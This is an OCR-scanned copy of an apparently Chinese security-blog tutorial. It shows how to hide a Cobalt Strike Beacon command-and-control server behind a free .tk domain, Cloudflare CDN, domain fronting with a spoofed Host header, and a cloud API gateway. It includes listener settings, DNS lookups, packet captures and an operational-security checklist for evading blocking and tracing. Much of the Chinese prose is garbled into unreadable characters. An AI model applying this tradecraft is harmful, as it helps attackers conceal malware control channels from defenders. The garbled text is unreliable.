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O ® New Listener

Create a listener.

Name: |test \

Payload: |Beacon HTTP v ‘
Payload Options

HTTP Hosts: I| 1gye.com

iﬂ"il‘lﬂﬂ{]ﬁﬁ'”ﬁl]

HTTP Host (Stager): |l W M gye.com

Profile: default - ‘

HTTP Port(C2):  |10001 }
1

HTTP Port (Bind): [8080 <=  ph&iZ|7cithpyiem
HTTP Host Header: ||

HTTP Proxy: l

5. £ R% payload, 1z47MN

5.1 3517 payload, EHLPILARLIN E4;

emernad imersal - liaener user COPpuUler pad lLast
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(BEREMge ErHEEs + EHEINMeSE CON ARSS)
1. BRI AETE

https://www.freenom.com/zh/index.html?lang=zh
11 SERIKS EMER CEMPIUTAME, RERGREE=E S BRIERAEM
M=)

1.2 RIFZ:

INTIRER . XBE— N, R wikisoft, @R RFEEE A0 B, 8218
2 wikisoft.tk FLAILA; PRA—E BB R Z 2RI
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1.3 TERIA:
Review & Checkout
Domain Registration - wikisoft.tk $0.00USD
Total Due Today: $0.00USD

[ | have read and agree to the Terms & Conditions Gl TW T G114

MRZENZBEENIER, KRl "HEE 7, SUEBTEHTIEMRIKS, SEWIE
RAE: REMTERBMTERE R (XEWMREMEM, TR gmail 71, )
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Services v Partners v About Fr

My Subscriptions

My Domains
f
Register a New Domain
Freenom World
Renew Domains
Transfer Domains
Free and Paid domains
v
Domain Price Chart
v
WHOIS
14.2 G REE:
Domain # Registration Date 2 Expiry date Status 2 Type
wikisoft.tk 2021-04-23 2021-07-23 | AcTive | Free

1.4.3 EFG BB ARSSHITIELL
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Information Upgrade

Information

To the right you can find the deta
You can manage your domain usi

« Back to Domains List

Management Tools = Manage Freenom DNS

Nameservers

Register glue records 3

URL Forwarding itk
ation Date:
021

Dot TK Apps
Jate:

Dot TK Ambassadors 021

Cancel domain

Information Upgrade Management Toals
Nameservers
You can change where your domain points (o here.
Please be aware changes can 1ake up 1o 24 hours 1o
propogate

Managing wikisoft.tk

- Manage Freenom DNS

) Use default nameservers (Freenom Nameservers)

@ Use custom nameservers (enter below)

Nameserver 1

ASPEN.NS.CLOUDFLARE.COM

Hameserver 2
COLEMAN, NS, CLOLIDFLARE, COM
Namaserver 3

Nameserver 4

Hameserver 5

Change Nameserers

ASPEN.NS.CLOUDFLARE.COM COLEMAN.NS.CLOUDFLARE.COM

BRI R E T

2. ERZFM% % CDN ARSS Cloudflare

2.1 BFEMIKS https://www.cloudflare.com/zh—cn/

https://www .freebuf.com/sectool/270669.html

11/31



2021/5/28 WEOBCIRIP 42 5 105 BE AT LA 7 58 - FreeBuf 2% 22 447k )

2.2 EgE(EA CON

2.2 Nhnuh =

{&Bh Cloudflare HNEF{RIFIZAVIL =

WA IBRYIE S (example.com):
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« 5@
RIEAFER
RESIEIEBRS . RAMEHTSHBKS,
© nmzen
© s

Bz HTTPS E5: OFF
EEE{ER HTTPS: OFF
Auto Minify: NONE

Brotli: OFF

220 B2& SSL/TLS IZE AT (BUANINE, BMENE 2SI EMINENXS)
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P | Accoss ] iy Workers HL Stream EELTEE  Apps rape

Shissd

L b AT [ N3] Pl ] BEXLENS

iBAY SSLITLS B A =M (FEL)
ISR i Eh NivE

*H (FE2) ©

FEFI0E

RE
NENESS Cloudflare ZEERE

E Imm e

WEIENE, EHESBLNAESES

T} BERE
RE (FHE)
WTNRAE, OESE - WMENENEN CA IHE Cloudflare
Origin Ch {EH
TR Cloudflare 8T EMNE AESER

APLR HaD»

7T 2 Cloudflare B9 CDNhttp. https AR A MIR, WERAEAMIROE,
ERITAEIAY !

EANBREFEHENERZEN, B zhwikisofttk S§EHITER, FFLUSHEIINEER
80. 8080, 443, 8443 ixIRMHIRSS: PTUAFESE = F /I EIER ERE
http——2095! WRIRABIEEIISEN, R EEA 80!

Cloudflarex#5rOHTTPIR 12: 80,8080,8880,2052,2082,2086,2095 CloudflaresxziFHIHTT
Psim[12: 443,2053,2083,2087,2096,8443

ksl + CON 25 E ! Falit!
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HTTP Host Header, WMWIUEGRIEE ! X& CON HARMRIBEK; £ FEH
HEEIES ZERHIIBRE
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| save || w8 |

{ BN New Listener
Create a listener.
Name: [test-cdn
Payload: |Beacon HTTP v
Payload Options
HTTP Hosts: zh.wikisoft.tk F;q
H
HTTP Host (Stager): |zh.wikisoft.tk
Profile: default L™
HTTP Port (C2): 2095
HTTP Port (Bind): /2095 _
HTTP Host Header: i
HTTP Proxy: | —

4. H B payload, &7,

4.1 35647 payload, A BILARIN 4%

anteinal el - e
| - 2] L 18 FIL55 2L it dn

https://www .freebuf.com/sectool/270669.html

17/31



2021/5/28 REBCIRIP , 42 v 999 TR BE AR T LA 7 5% - FreeBuf 45 22224 Tl 1

sane: | x
name - papioad ot part ber Bestons prufee
LR i Ll ol [ ik 9 1095 h ' delault

4.2 SEREENAMEIE C2 iR ip bR 172.67.150.243:2095 (CDN
TR Ip) - MARRNECRSENES ip

EX Windows PowerShell
PS C:\Users\lxd\Desktop> NETSTAT. EXE

aEERE
il At ShEPithiit
- -

10. 211. 55. 21:56914
= - ==

4.3 BRIR—FXD ip 2 XD ip M MEAR Cloudflare M&IF CON
J=Y: /N ITe
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»» Desktop zh.wikisoft.tk
Server: 223.5.5.5
Address: 223.5.5.5#53

Non-authoritative answer:
Name: zh.wikisoft.tk
Address: 104.21.41.43
Name: zh.wikisoft.tk
Address: 172.67.159.243

=. {FAERF1E (Domain Fronting)

—ENERORIE: EERARTE FERY CON, BERHAMER T EfbEM P /91
B TER: (BB www.baidu.com), BITiRE HOST=zh.wikisoft.tk {228 host
LH9/RIE, 1F CON KEEZIERENIEN C2 REe: KETMSHEENELE
B! AR https B9IE, FRIAEEEFZFIREN host SLER, BNTERENEESE
R |

COMNSRFHRE | edwed o ]

2095 I

172.67.150.243

NS0 CONRESEC
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104.21.41.43

EEAF T XMEREEEL p WARESTHE A MRS

MR AAOREASEZSEIMTER, BEZZIRFREWN, DRUEIE:
R REMESFRMTRSPRIERESR; NREEA B CEAVEZ + CON 1
o,

{EARE:

INTIREE T BEIER hitp BREIEHTIRIEE R, EN Cloudflare & 2=hR
CDN X285 LB E X ssl WIAIER, REEARAEART A ASZH] https! (40

SMREMWAR, BTSN EER 2.2.6 B2E SSL/TLS MBE AR X—TRias
SEAY https BVECBREHBEIE ! AJHEERIBEEN https 1IEP, IEEMSFA
HE—FRFBUBOIAH, HESENXE4L4 5, )

1. SohY EEE# + CON AT BEE

2. SRENVEBITETE Cloudflare F#F CDN B9& A= (EEa0: commonlit.app)

@ nresabook cnNEAR104.21.41.43 o D £ B0 & ™
"

wes I

ATRERNTRANERE, ARIMTFONR R

3. B2 & listener

HTTD Aot Haadar  DAZRTE E RS0 2 h wiilvienft te 3 E NN I K 00O B FHTE
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KON SINFER ) [/JVH U T LT LVVINTOUT Lo LI\, AN AE VYN I X/ INH Y TN A= 5L
SK: CDN 89 ip #—4F, N{ol#IBr B b e g9 & baidu A2 gq M? SEfR FFi2
BT http SLEER host FERFH(THIBIN | 1FHRNRZEY] “EXE 6. 7. 8

L I O | I 1voL 1 1Icauucl |,

L I Edit Listener
Create a listener.
Name: |te5t—yuqianzhi I
Payload: |Beac0n HTTP M |
Payload Options
HTTP Hosts: commonlit.app +
BEREREZEES
HTTP Host (Stager): [communlit.app ]
Profile: default d
HTTP Port (C2):  |2095
HTTP Port (Bind):  |2095 ]
HTTP Host Header: [zh.wikisoft.tk e 2l JFL SR AT 13
HTTP Proxy: I u
i | save || %8 |

4. H B payload, &7,

4.1 35647 payload, AP LARIN 4%

https://www .freebuf.com/sectool/270669.html

eate nal moernal -~ Bslener user ol e preces ped arch law
[ = ) — JLEI IR F4 tesl yusdn 1hi St DESETOF-G934H07 Bearan sk L] wdE it

21/31



2021/5/28 REBCIRIP , 42 v 999 TR BE AR T LA 7 5% - FreeBuf 45 22224 Tl 1

payhasd =Y [ ndhe [reagom profie

42 BRZEENAMEE C2 BRSS25H7 ip #bih 104.21.41.43:2095 (CDN
mip) 5 MARHNESRSH[VES ip

E¥ Windows PowerShell

xd\Desktop> NETSTAT

421 BF DNS #iEE, °JMUIAERIZEE18 commonlit.app:2095 X ith
HE, FHITERRS

d EawE LA - a W
TR REE) RE)  BRRG) W0 oA RS BEN) TR TAM WE
R RE qQaeET i3 569880
|4
Na. Time Seurce Baitination Erotecal Length Iafs
31 9.800938 18.211.55.341 13.76.98. 223 TCP 54 56548 - 443 [ACK] Seq=2115 Ack=7974 Win=261376 Len=
32 9.80598 18.211.55.21 13.76.98.223 TP 54 56048 - 443 [FIN, ACK] Seq=2115 Ack=7974 Win=261376
33 0.88e7e9 13.76.98.223 18.211.55.21 TCP 68 443 - 56948 [ACK] Seq=7974 Ack=2116 Win=32768 Len=8
34 1.868771 feld: : 2dbe:2b33: 376 fedo:: 2lc:42FF: fedd. DNS 93 Standard query Bx6409 A commonlit.app
35 1.069869 fald: : Jd6e:2b33:376.. FelD::Xlc:42FF: feld.. DNS 93 Standard query Bxeads ALAA commonlit.app
36 1.198591 19.211.55.21 18.211.55.1 DNS 73 Standard query Bxead5 AAMA commonlit.app
37 1.19e873 18.211.55.21 18.211.55.1 DS 73 Standard query 8x6489 A commonlit.app
38 1.336582 fol@: : M 42FF: fobB_. feld::2d6e:2b33:376.. DNS 125 Standard query response @x6489 A commonlit.app A 18
39 1.342198 feldd: : 2c 42fF: fedl.. feBd::2d6e:2b33:376.. DNS 149 Standard query response @wea95 AAAA commonlit.app A
48 1.345854 18.211.55.21 184.21.41.43 TP 66 56049 + 2095 [5YN] Seq=@ Win=65535 Len=@ M55S=1468 W
41 1.648920 18.211.55.1 18.211.55. 21 DNS 129 Standard query response Bxeads AAMA commonlit.app A
42 1.640928 18.211.55.1 18.211.55.21 DNS 185 Standard query response @x6489 A commonlit.app A 17
< »

Frame 35: 93 bytes on wire (744 bits), 93 bytes captured (744 bits) on interface \Device\NPF_{@3AF4TD2-DCCB-4F75-8C14-410818350888) ,
Ethernet II, Src: Parallel _e5:fa:bB (00:1c:42:e5:fa:b8), Dst: Parallel 99:00:18 (9d:1c:42:00:08:18)

422 BEEREIES, http HUAZFIMAES host (EE09;
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il xR - ¥ x
iR REWE) REEN  BUeG) WS S Erhs) RSy EEon TRM EERH)
dm @ ERE qQesETF LS Eaqgan
=+
N Time Sewrae Bestinatisn Fratessl Length Infe
1 8.800888 18.211.55.21 184.21.41.43 TP 66 56947 + 2895 [SYN] Seq=@ Win=65535 Len=8 M55=1458 WS
3 1.586173 184.21.41.43 18.211.55.21 TP 62 2095 + 56947 [SYM, ACK] Seq=@ Ack=1 Win=32768 Lan=8 |
4 1.586234 1@8.211.55.21 184.21.41.43 TCP 54 56947 - 2095 [ACK] Seqe1 Ack=1 Win=26214d Len=8
5 1.506696 19.211.55.21 184.21.41.43 HTTP sa4[GeT W W HITP/1.1
6 1.586839 12d.21.41.43 18.211.55.21 TP B8 2895 - 56947 [ACK] Seq=1 Ack=491 Win=32768 Len=8
7 9.288815 184.21.41.43 18.211.55.21 HTTP 848 HTTR/1.1 200 OK
8 9.288115 18.211.55.21 184.21.41.43 TP 54 56947 - 2095 [ACK] Seq=491 Ack=T795 Win=261120 Len=8
€ >
Transmissien Control Protocol, Src Port: 56947, Dst Port: 2095, Seq: 1, Ack: 1, Len: 499 A

~ Hypertext Transfer Protocol
~ GETm m HTTR/1.1%r\n
[Expert Info (Chat/Sequence): GET /test@l HTTP/1.1\rin]
Request Method: GET
Request URI: H .
Request Version: HTTP/1.1
Cookie: OSI0=jkptumomm H N e EEEEN | | anm EE m (m - m m ed
Accept: text/html,application/xhtml+xml, application/xnl;q=8.9,%/%;q=8.8\rYn
Accept-Language: en-US,en;q=2.5\r\n
Accept-Encoding: gzip, deflate\r\n
DNT: 1%r\n
Host: zh.wikisoft.tkyrin

MEigEER
User-dAgent: Mozilla/5.0 (Windows NT 6.1; WOMWGd; ) like Geckolrin w

A3 Bin— X1 ip ZlE: X7 ip MEAWERRY Cloudflare AY&IT CON T3
REVAN ip

»» Desktop commonlit.app
Server: 223.5.5.5
Address: 223.5.5.5#53

Non-authoritative answer:
Name: commonlit.app
Address: 172.67.159.243
Name : commonlit.app
Address: 104.21.41.43
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L (£ https WANHTEIZBIE, PRIFFEFZFIREN shellcode EEMY
host B8, BNTEIRENE S zh.wikisoft.tk, I iE MR E SL/EIHAR 552309
P! AT https HEBIE, #lEE LEI CON BEER zhwikisoft.tk &89
B EXIBINT —EL22RE! EEQ TS, hBHE "SEXE 9

M. {ERZTAMRSS APl FX / TR

—’Dﬁ%@/&\@ﬁi api WxIZAFE R IERImRSS ! (7 #— kong I, JRIE—
) *ﬁlr)zfﬁiiﬁﬁﬁﬁ?inm api Wk, RETRHRIINEE SR —KR, = client
ﬂﬁﬁﬂa&&mﬂﬁ UREHITIESEANSE, [F3E api WX ﬁEUTﬂEE’\]Eé
RS IR @EW\]%%TME/}\WE& BNE, &LRERRELLA client;

RECzENE

00 apiwg.coreB0 3£ _
: ] COMNE
D D | f— 172.67.158.243

ST

CONE®ED CcoNENEC

04 4143

HBRD:

BERP XMEESR L p BhEBEETEAMIRSES, T 7 =RSENX
SE SR

MR AAOREASESEIWTER, BEZZRFREWN, HRUEDE:
R REMESFRMTRSPRIENESR; NREEA B CEAVEZ + CON i

o,

{ERmE:

' X—h%E, REREFY), REZRIZEE: MUEERTENNTRS
ml L FUAMBESTH "RE” NSRS ZRENFS " SEXE 10,

117, TERIRAREREN api NExAR

12 Q =, SERVRRIAIE
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2. FoE AP NxBERREE)

2.1 #1312 service

m Serverless Wordpress SRS IRGNER, SN SENEIRYARERNTES, TEHEE > (ENEEEN)

AR [AF R ]
EEme B4Rt

BFZM: Sl EAPIR & S THIEAE R T N S MRS, s Rl

o .n @ i I =] e
Teesd_§
WREN
e —
T TR
—
e

2.2 FE AP {UIEH SThB R IEECE
IR Bl /EURCIERVBI I EEIR B R—R ! AR

& service- N HN

EIEAPI ST fEMATE BEMES RBEHEHE BEER 8Ty

WAAPI (1) © fMAESSAPI (0) ©

oJE=f 70 %

api-Jl

[ !
test mE W
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» 3) REER

BE60TF

T B A

Nk 7 i
AT
1. SEERNEEERSEREAMESNENA, BERS R
2. BEAPT TER, APIFRZEZHEH
EHCORS
Wit SCF
PEER uE sBoR © mE

AR B MO0y

Biv @

AEESNHAL ARRER

4R

i

fEimigE . ARE 80 In, MEZEAESEH, WREHEMIWO, MEM BF: In

]

VPCHET B
AEARGERIBVVCHRTH. SERE

. MSAREE

R,

7 I Mpamm)d

= me ]

FhRIESNEERE

LE GET POST puT
g2 100 L]
E: 1-1800F
RN
BRE PRLE O
Lt bd ]

e T
https://www .freebuf.com/sectool/270669.html
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Quuez > Qruer > @ masn
(O ERAPFRR N TFRAEETHME, HIERGENAE, FERs0CUEH, AEHRETHES—HRTEES, ERaTInmbREEEREON Y,
=5 -
TRAEE B RS REWAA HiRmn L REFERN O
EREREAER
5 - /
2.3 BELMEOEAMhIE
€ snice- m - - AR
XS EEER  meRE
Esoe BE N W W LATRGEE
i e L apigre lencentos com 83
ey g ffsary W - - I b g tmrcanien coem 843
o rae
r
] E
Y
HHER
HITRE
i
L
RET
5
EuER
L EURLAPE

viman hape ol = @ L]

3. B2 & listener
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Create a listener.

B 1 WIURNE B PR T LIS 5% - FreeBuf W 45 224247 M1 1 P

New Listener

- Name: [test-APl

- Payload: IBeacon HTTP
'~ Payload Options

HTTP Hosts: /service W N EE 3bjapic
HE api st M
#
q »

HTTP Host (§tager)" |

' -Dj.apigws = :cs.cuml

Profile: default -
HTTP Port (C2 80 Ay api M x5 E 801%K O
- e e ENTE) I
HTTP Port (Bindg (2095 #1148 c2 E5% i O 2 2095
HTTP Host Header" | M bj.apigw. s.coml|
HTTP Proxy: [ ||
| Save || #E) |
4. H B payload, &7,
4.1 35647 payload, A BILARIN F 4
I :w- - :‘:;T:‘; 21 ::.:; =3 DESKTOR-39 HHOT - :::0: :‘D‘W ::: I';:(
L::T-“J u-umrs_xi_m_ - “ham pert bncin e “profie
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20205728 - _______ BREDP. RRMRRENLATR -FoBupBRSlil,

4.2 BESBREN AL C2 RSS2 ip #BlE R 152.136.8.215:80 (Q W>*xT
mip) s MARHNBECKRS2=NES p

152.136.8.215

@ Sl L B aw= [k

E S|

A, BixREARR

1 BB EEER CON BITMIBREMENT (Z208 + 1) BIIN T ERRERN
B%, ERENRGH! BRBIARINK SN, BSEPEFHRM, RSB Xk
AR, XM EREERMAENNNSRZEEAENSHAERIVENTE ip 2iE
CNAME ZIEAMIg & FH LRIEH SRR T AERRIXLR !

2. RSS2 IPRES) (208 + 1) BLAAMEART CDN RS, R TBELRE,
IS E LIRSS 230 NS + ZRARIAIOR ip MMERRRS] ! 188 AN
Cloudflare WEL#H1TIA10) 1 [F LEEAD/ MU hack /RAY 2 fRSS |

3. HEBIE—EEM https(ZE2 D + 2): 8 http WA IMERRIERREX
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VGHIFIP . 22 WO FE R TR 7 K - FreeBuf s 22 447 LT 1)
M, IERAEEE htto 2EM host FR; MEM https NIFRAIEHL N, BRIFC

PEHE EFREN shellcode BEIM host 58! (X—m=, , FPIEEIREE 7, https 1B

geE %l host 58~~)

4.C2 RBBELZENE (Z20E + 1) C2 RBLBIEF Um&ERER 50050 I,
W2 Ebh ! (FEEFIEPHAERIENER ! 1B E M 8 s B AL/ 4513

W ARRRMERBL NS R 2 HER deny SLERFIER ip SEE! )

5. MR/ 11 I EE CON KA, EM T EBRRFEGR + %% CON AR
5%, B LLRAFERETDEHRIRIOEEIER! BFRIHRM 72 LA EANS
15, A TERNEEEIIMASIHVERGE! | (WM E— T LEAX
MBI, BEPUMBARFESTA PR, BISESm; )

6. MAREBA 21 BYENTFEFEBE—FNRE https IEH, MIARFERAEE
I https IEBEEMANAFR B EAGFRIB? XPEAREXLAKN, BERBEHKR
EMIER— T,

7. EAREBER 3 HEEBEART 422", ENREHTRES https, 1BFHIA—
, 23 https AT, MIENEBEE host EEN15? (X—ma, BARELEE:
https EEEE host {5 8~~)

maR BRFSUARERENIER, XREXERAZESMBIELST—T
~ ~(BARENROFERIR T, MEFEENE NEES call )

sEYE:

1. a0fal%eid CDN HoiRiy ip?

2. Walsed CON WL ESE IP? R A5

3. BJR — cs Al msf 58 L4 - Soalit X

4.CS &5IUEP + Powershell -4

5. X F&EIUD + ps LAFIEF T

. [ R] Domain fronting 52 818 W& T A
IRTERARNRIES CS FHLE

. LIBAEALES: FRAEIRAY C2 server
CHTASE—R¥m CS A5 exe K5

10.RT XIuFER, RAXERE C2

M. [(FARDZE] AAKBAEMEIR - C2 IP [REFAK
12. %7F Cobalt Strike #9 Malleable-C2—-Profiles J&#T
13. FiE&Z&1F (Subdomain Takeover)

© 00 N O
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https://blog.csdn.net/weixin_30855761/article/details/95240738
https://www.ipipn.com/545-2/
https://xz.aliyun.com/t/5728
http://blog.leanote.com/post/snowming/6a724671de78
https://shimo.im/docs/3RjkWKcQxkrPwxyd/read
https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=71715
https://blog.csdn.net/qq_41874930/article/details/107742843
https://xz.aliyun.com/t/4509
https://www.52pojie.cn/thread-1380480-1-1.html
https://mp.weixin.qq.com/s?__biz=MzA5MDc1NDc1MQ==&mid=2247487065&idx=1&sn=5503dd715b3f2131aacba91d0075be9e&chksm=90079589a7701c9f6b808de703de88dd517f31e054a90af9cd61bd8b9ea4281d27d43b163666&mpshare=1&scene=1&srcid=0421zyAcws62kwegdyP70YxG&sharer_sharetime=1619008137046&sharer_shareid=38ba2893a2ef81371ee8964a11043f18#rd
http://www.hackdig.com/04/hack-325254.htm
https://www.freebuf.com/news/189948.html
https://xz.aliyun.com/t/2414
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